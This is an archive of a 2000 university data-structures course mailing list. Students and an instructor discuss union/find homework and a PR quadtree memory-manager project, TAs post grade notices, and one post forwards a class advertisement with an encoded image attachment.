(6, 5) and (3, 5) ? Surely 5 cant have 3 parents ?!? At 01:12 AM 04/06/2000 +0000, you wrote: >If I understood it correctly the assingment is really easy. First you >have 16 not linked nodes. >Then you have the equivalence relationships defined by the data in the >assignment. Build the tree >using two methods based on these relationships and the final result is >what you need. >Example: let's say you have A, B, and C that are initially not linked. >Then let's say you have (A, B) so you build a tree as A<-B with A root >and B having a parent pointer. >Then you have (C, B). So you attach C to the existing AB tree. ETC > >Please correct me if I'm wrong >Dmitry > > >§ídësmâçk wrote: > > > > I'm confused as crap with #1 and the examples in the book seem to be filled > > with typos. I understand what we are supposed to do - but it seems > > impossible to build a tree with these values. Can anyone give me some > tips. > > > > -Sidesmack ========================================================================= Date: Wed, 5 Apr 2000 20:44:20 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jeremy Lerner Subject: Re: hw #1 In-Reply-To: <4.3.0.20000405202558.00b3d550@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=iso-8859-1 Content-Transfer-Encoding: 8bit The order of an equivalence pair doesn't matter. (A,B) and (B,A) are the same thing - they both simply tell you that A and B are associated, so you merge the tree that A is in with the tree that B is in according to the weighted union rule. At 08:26 PM 4/5/2000 -0400, you wrote: >If that is the case, then how do you explain (4, 5) (6, 5) and (3, 5) ? >Surely 5 cant have 3 parents ?!? > > > >At 01:12 AM 04/06/2000 +0000, you wrote: >>If I understood it correctly the assingment is really easy. First you >>have 16 not linked nodes. >>Then you have the equivalence relationships defined by the data in the >>assignment. Build the tree >>using two methods based on these relationships and the final result is >>what you need. >>Example: let's say you have A, B, and C that are initially not linked. >>Then let's say you have (A, B) so you build a tree as A<-B with A root >>and B having a parent pointer. >>Then you have (C, B). So you attach C to the existing AB tree. ETC >> >>Please correct me if I'm wrong >>Dmitry >> >> >>§ídësmâçk wrote: >> > >> > I'm confused as crap with #1 and the examples in the book seem to be >> filled >> > with typos. I understand what we are supposed to do - but it seems >> > impossible to build a tree with these values. Can anyone give me some >>tips. >> > >> > -Sidesmack -- Jeremy Lerner - jlerner@vt.edu I'm going to live forever or die trying. ========================================================================= Date: Wed, 5 Apr 2000 20:49:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: NarCosiS Subject: Re: hw #1 MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT 5 wouldn't have 3 parents, you connect @ the root. for this small sample: 4 would become 5's root. 6 would become the root of the (4<--5) class due to the weighted union rule and then 3 would become the root of 6 using the same rule it's really not that bad once you get the concept. BE WARNED: i assummed that 4, 5, 6 and 3 were all single eq. classes with no other members and I DIDN'T use path compression which you HAVE to use, it makes a difference. Good luck, John Katebini ----- Original Message ----- From: §ídësmâçk To: Sent: Wednesday, April 05, 2000 8:26 PM Subject: Re: hw #1 > If that is the case, then how do you explain (4, 5) (6, 5) and (3, 5) ? > Surely 5 cant have 3 parents ?!? > > > > At 01:12 AM 04/06/2000 +0000, you wrote: > >If I understood it correctly the assingment is really easy. First you > >have 16 not linked nodes. > >Then you have the equivalence relationships defined by the data in the > >assignment. Build the tree > >using two methods based on these relationships and the final result is > >what you need. > >Example: let's say you have A, B, and C that are initially not linked. > >Then let's say you have (A, B) so you build a tree as A<-B with A root > >and B having a parent pointer. > >Then you have (C, B). So you attach C to the existing AB tree. ETC > > > >Please correct me if I'm wrong > >Dmitry > > > > > >§ídësmâçk wrote: > > > > > > I'm confused as crap with #1 and the examples in the book seem to be filled > > > with typos. I understand what we are supposed to do - but it seems > > > impossible to build a tree with these values. Can anyone give me some > > tips. > > > > > > -Sidesmack ========================================================================= Date: Wed, 5 Apr 2000 20:50:41 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: hw #1 In-Reply-To: <4.3.0.20000405202558.00b3d550@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT in THAT case, say we START there.. At the beginning, each is its own root with the root being the only node. Weighted Union rule states : if two roots are joined, the root of the tree with less nodes becomes a child to the root of the tree with more. I cant say what happens. (honor code) The Question also states, if two trees have EQUAL amount of nodes (IE, two trees with 1 node total) the root with the lesser value becomes the parent of the root with the greater value. Again, i cant say what happens. Now Path Compression states, that when going to the root, the value of each node visited from the node you start at to the root points to the root, but in a tree of 2 nodes, there would be no change at all, so this affects nothing in your case. With these three things, it should be easy to figure that out. Your result of those 3 combinations you listed should end up with 1 tree with 1 root and 3 children. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of §ídësmâçk Sent: Wednesday, April 05, 2000 8:27 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: hw #1 If that is the case, then how do you explain (4, 5) (6, 5) and (3, 5) ? Surely 5 cant have 3 parents ?!? At 01:12 AM 04/06/2000 +0000, you wrote: >If I understood it correctly the assingment is really easy. First you >have 16 not linked nodes. >Then you have the equivalence relationships defined by the data in the >assignment. Build the tree >using two methods based on these relationships and the final result is >what you need. >Example: let's say you have A, B, and C that are initially not linked. >Then let's say you have (A, B) so you build a tree as A<-B with A root >and B having a parent pointer. >Then you have (C, B). So you attach C to the existing AB tree. ETC > >Please correct me if I'm wrong >Dmitry > > >§ídësmâçk wrote: > > > > I'm confused as crap with #1 and the examples in the book seem to be filled > > with typos. I understand what we are supposed to do - but it seems > > impossible to build a tree with these values. Can anyone give me some > tips. > > > > -Sidesmack ========================================================================= Date: Wed, 5 Apr 2000 21:13:04 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: section 1368 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The grade-sheets have been mailed out, and the course web-site now displays the grades for P3. Please contact me if there is any problem. Thanks, Pratima ========================================================================= Date: Wed, 5 Apr 2000 23:17:30 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: General P4 Clarifications In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit The Spec States: "Flow contraol for a node access will be that the pr quadtree will request a "message" from the memory manager vie a handle, the mrmoery manager will then ask the buffer pool for the data at a physical location, the buffer pool will hand the contents of the "message" to the memory manager, which will in turn hand the contents of the "message" back to the PR-QUAD." This is a bit confusing for me, so let me sort this out and you can tell me if I am getting this. The Quadtree stores a handle to the memory manager. I get that much. The Memory manager at that location (handle) stores either a 13 or 17 byte dataset. This is where I start to get confused. So for the internal nodes: it stores 4 handles (NW, NE, SW, SE) these are also handles pointing to locations in the memory manager? which could also be either internal or leaf? Leaf Nodes : stores a handle to the buffer pool which stores the city name? and if not in there, it uses LRU like other project and grabs it from file or whatever? Empty Leaf Nodes : So empty leaf nodes store the memory manager handle for it's parent which is an internal node?? Why is that. I dont get that part at all. Shouldnt it just be recognized as an "empty" node (flyweight) and not go to the memory manager/bufferpool at all? I dont understand. Also, you say that there is no paramater that specifies that size of the memory pool and that the memory pool can "grow". So if the first thing inserted is a leaf of course, the memory pool would grow to be 13 bytes long? I guess this means we need to make it a linked list since it is not static from beginning of runtime, correct? I know these may be silly questions, but I am just doing personal clarification. ========================================================================= Date: Wed, 5 Apr 2000 23:30:29 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Tanner Bonig Subject: OH NO! MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I didn't get the homework in on time, what do I do , what do I do!?!?!? Tanner ========================================================================= Date: Wed, 5 Apr 2000 23:41:55 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Organization: Vikohex-Allanque Subject: Re: OH NO! MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit You turn it in late. ----- Original Message ----- From: "Tanner Bonig" To: Sent: Wednesday, April 05, 2000 11:30 PM Subject: OH NO! > I didn't get the homework in on time, what do I do , what do I do!?!?!? > > Tanner ========================================================================= Date: Thu, 6 Apr 2000 00:03:04 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Patrick O'day Subject: Re: OH NO! MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit You smoke a cigarette..... you really need to relax sweetie. Patrick's fiancée, who smokes and suffers(?) from low stress Tanner Bonig wrote: > I didn't get the homework in on time, what do I do , what do I do!?!?!? > > Tanner ========================================================================= Date: Thu, 6 Apr 2000 10:05:10 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ali Asghar Zafer Subject: Grades for section 1371 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The course web-site now displays the grades for P3 and Quiz 5. Please make sure there is no discrepancy between what you expected and that is displayed on the spreadsheet. Thanks, Ali Asghar Zafer ========================================================================= Date: Thu, 6 Apr 2000 11:07:21 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: General P4 Clarifications In-Reply-To: <001001bf9f76$a5e26c20$0201a8c0@vtacs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 5 Apr 2000, John Owens wrote: > The Spec States: > "Flow contraol for a node access will be that the pr quadtree will request a > "message" from the memory manager vie a handle, the mrmoery manager will > then ask the buffer pool for the data at a physical location, the buffer > pool will hand the contents of the "message" to the memory manager, which > will in turn hand the contents of the "message" back to the PR-QUAD." > > This is a bit confusing for me, so let me sort this out and you can tell me > if I am getting this. The Quadtree stores a handle to the memory manager. I > get that much. Yes. The way I would look at it is, the pointers that you stored in P2 are now handles. > The Memory manager at that location (handle) stores either a 13 or 17 byte > dataset. This is where I start to get confused. > So for the internal nodes: it stores 4 handles (NW, NE, SW, SE) these are > also handles pointing to locations in the memory manager? which could also > be either internal or leaf? Yes. Just like in P2, a pointer to a child node could be pointing either to an internal or a leaf node. > Leaf Nodes : stores a handle to the buffer pool which stores the city name? > and if not in there, it uses LRU like other project and grabs it from file > or whatever? No, it stores a handle into the memory pool indicating where the city name is, just like internal nodes store handles into the memory pool indicating where the child node is. Forget the buffer pool for now, it is merely a phyisical implementation of the memory pool. The existance of the buffer pool affects nothing about either the logical, nor the actual implementation, of the interface between the PR quadtree node and the memory manager. > Empty Leaf Nodes : So empty leaf nodes store the memory manager handle for > it's parent which is an internal node?? No. > Why is that. I dont get that part > at all. Shouldnt it just be recognized as an "empty" node (flyweight) and > not go to the memory manager/bufferpool at all? I dont understand. Exactly right. An internal node stores handles to its children. If one of those children happens to be an empty node, that "handle" should be a special value that the PR quadtree node class "get" function recognizes to be a representation of an empty node. Thus, the "get" function can immediately return an empty node, without going to the memory manager. This is the same effect as a flyweight. > Also, you say that there is no paramater that specifies that size of the > memory pool and that the memory pool can "grow". So if the first thing > inserted is a leaf of course, the memory pool would grow to be 13 bytes > long? Yes, sort of. Actually, the size of the memory pool should grow by one block, with the excess becoming free space. > I guess this means we need to make it a linked list since it is not > static from beginning of runtime, correct? No, the memory pool is, ultimately, a disk file. By saying that the memory pool "grows", physically it means that more of the disk can be written to. The memory pool itself is NOT represented by a linked list. However, the list of free blocks currently within the memory pool IS represented by a linked list. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Thu, 6 Apr 2000 11:27:31 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Sam Subject: Fw: Want to use those skills? Join Virtual Corporation! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0027_01BF9FBB.19001600" This is a multi-part message in MIME format. ------=_NextPart_000_0027_01BF9FBB.19001600 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "Brian MacCleery" To: "Sam" ; ; "Robert Broadwater" ; "Karen Burkholder" ; "Ana" ; "Tcaglar@Vt. Edu" ; "Kevin Carlson" ; ; "Amanda Brooke Clear" ; "Monchello L. Coleman (by way of Krishnan Ramu )" ; "Cdahl@Vt. Edu" ; ; "Jennifer Davis" ; "Jegan@Vt. Edu" ; "Wayne Gaskill" ; "Devi Gnyawali" ; "Jon Gott" ; "Matt" ; "Jonas Guarino" ; "Tom Hammett" ; "Shana Hawkins" ; "Robert W. Hendricks" ; "Larry Hincker" ; "Caholt@Vt. Edu" ; ; "Brian Jaeger" ; "Mojohnso@Vt. Edu" ; ; "Matthew Learn" ; "Byeong-Seok Lee" ; "Lisa Leonard" ; ; "Bret Lomenzo" ; "Brian MacCleery" ; "Lance Matheson" ; "Katy McDonald" ; ; "Lamine Mili" ; "Gerald Mitchell" ; "Jemoore5@Vt. Edu" ; "Justin Morse" ; "Kelly Myers" ; "Jessica Nagle" ; "David Neal" ; "Sozel@Vt. Edu" ; "James Paine" ; ; "Tparnian@Vt. Edu" ; ; "John S. Phillips" ; ; "Bpresley@Vt. Edu" ; "Albert M. Prestrude" ; "Nradyush@Vt. Edu" ; ; ; "Jreckmey@Vt. Edu" ; "Summit@Vt. Edu" ; "Alsaunde@Vt. Edu" ; "Eseker@Vt. Edu" ; "Chsexton@Vt. Edu" ; "Ethan Sharrett" ; ; "Ruth Smith" ; ; ; "Hthomsch@Vt. Edu" ; "Alan Truman" ; "Phil Vallance" ; "Eileen Van Aken" ; "Ddevente@Vt. Edu" ; "Tivarney@Vt. Edu" ; "Praveen Vijayraghavan" ; ; "Anward@Vt. Edu" ; "Mawatso2@Vt. Edu" ; ; ; "Brian Weber" ; "Carolyn Winters" ; "Cwoodall@Vt. Edu" ; "Chris Zobel" Sent: Wednesday, April 05, 2000 1:38 PM Subject: Want to use those skills? Join Virtual Corporation! > > Want some hands on, real-world experience that will make you a lead > designer for the most cutting edge innovations in rapid electric transit > systems or state of the art medical devices? The Virtual Corporation class > is like a real business but students are in charge-- there's no better way > to learn real world leadership, management, and develop business savvy. > Follow exciting multidisciplinary projects from start to finish-- all the > way from preliminary engineering to prototype demonstration. See your skills > transform creative ideas into revenue earning products. Become an > entrepreneur, learn real business skills and network with corporate America > to bring your ideas to commercialization. Compete for a prestigious > corporate fellowship to earn real money. See our wirelessly controlled > magnetic levitation prototype in action and learn more at this Thursday's > science and engineering info session. All majors are welcome! > > Where: NEB 261 > When: Thursday, April 6 at 5:00 PM > > Class enrollment is extremely quick and easy via our online form (3 > Technical Elective Credits for Seniors). No need for dropadd or opscan! A > volunteer program is also available. Just submit our online form and attend > the first day of class: > > http://www.ee.vt.edu/virtcorp/enroll.html > > Sincerely, > Brian MacCleery > VC-PERTS President (http://www.perts.ece.vt.edu/) > > **** The Virginia Tech Virtual Corporation is a unique interdisciplinary > educational program dedicated to providing students with challenging > real-world product and business development experiences in a faculty-led and > student-managed setting. Students conceptualize, design, and develop > innovative, leading edge, high-tech products with market potential and > positive social impact. Based on the principles of integrity, leadership, > life-long learning, and social responsibility, Virtual Corporation achieves > excellence in teaching and research through collaboration between faculty, > students, the larger university community, and industry partners. **** > ------=_NextPart_000_0027_01BF9FBB.19001600 Content-Type: image/gif; name="VC_PERTS_Maglev.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="VC_PERTS_Maglev.gif" R0lGODdhLAHgAHcAACH+GlNvZnR3YXJlOiBNaWNyb3NvZnQgT2ZmaWNlACwAAAAALAHgAIYAAAAR EREAADMAAGYAMwAAMzMAM2YzAAAzADMzAGYzMwAzMzMiIiIzM2YzM5kzZjMzZmYzZpkzZswzmZkz mcxERERVVVVmAABmADNmMwBmMzNmM2ZmM5lmZgBmZjNmZmZ3d3dmZplmZsxmmTNmmWZmmZlmmcxm zJlmzMyZAACZADOZMwCZMzOZM2aZZgCZZjOZZmaZZpmZZsyZmTOZmWaZmZmIiIiZmcyZmf+ZzGaZ zJmZzMyZzP+Z/8yZ//+qqqq7u7vMMzPMZjPMZmbMZpnMmTPMmWbMmZnMmczMmf/MzGbMzJnMzMzd 3d3MzP/M/5nM/8zM////mWb/mZn/mcz/zGb/zJn/zMz/zP///5n//8zu7u7///8BAgMBAgMBAgMB AgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMB AgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMBAgMH/4BbW1xMR0s1MDQ1Hx+IOzs3 jzU6TExXXE1AIBoLCwqdoKCfngsHDKYHAAGrrAAHBAivCKqrBwEKs7YHAqmuAQcVNjVHO0xAP0s/ TEtXWlpYWs3N0NLR1tLNlkfbS0uGRzU1NN/e3uPjS8tXy5Xpy0Ds8ZXz8+tQ602WUJZN+VdRV5pc cRKtSUFrlrRYClitoSVmEK9ETGdlmZUlFy9201iR4zKM3UKW63bkoqFy5FKiXKlyipElRioNYrID hodwH0AIQ3KjRs9wJ5lAwQIF0QcNGj4pJZW0E6dQCHAp4KXgFIEDCxhIFaAAAIKrBAAovVogAING NboB0UHMUCWB9//uAYx75R4TgXfrWlp2JAc3Qz+MDHNraBi6IxLXMSvE+AgQYkiWREbChHKldZcr xd27ry4+oesw9wvoJGAToqP7qcYsUV06ihYtpjvCDrHkJVRCRuZrJXLuI5GvGIp8UuXfv96OGzKy jblzI/j2HQHxAcYHD40qlZD0Y8du2pa2aPmBaAPSTlhNlSK1FNfVqQcKmFJwi+svrlPhM8j1CyuM tDcAgQRbOgTXzDMJLXTPFZ4pFM1CfB1WTg0xuNXaNuNwoxgTVgAx2zseRgYPPSTedVc+qjFRmlB5 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 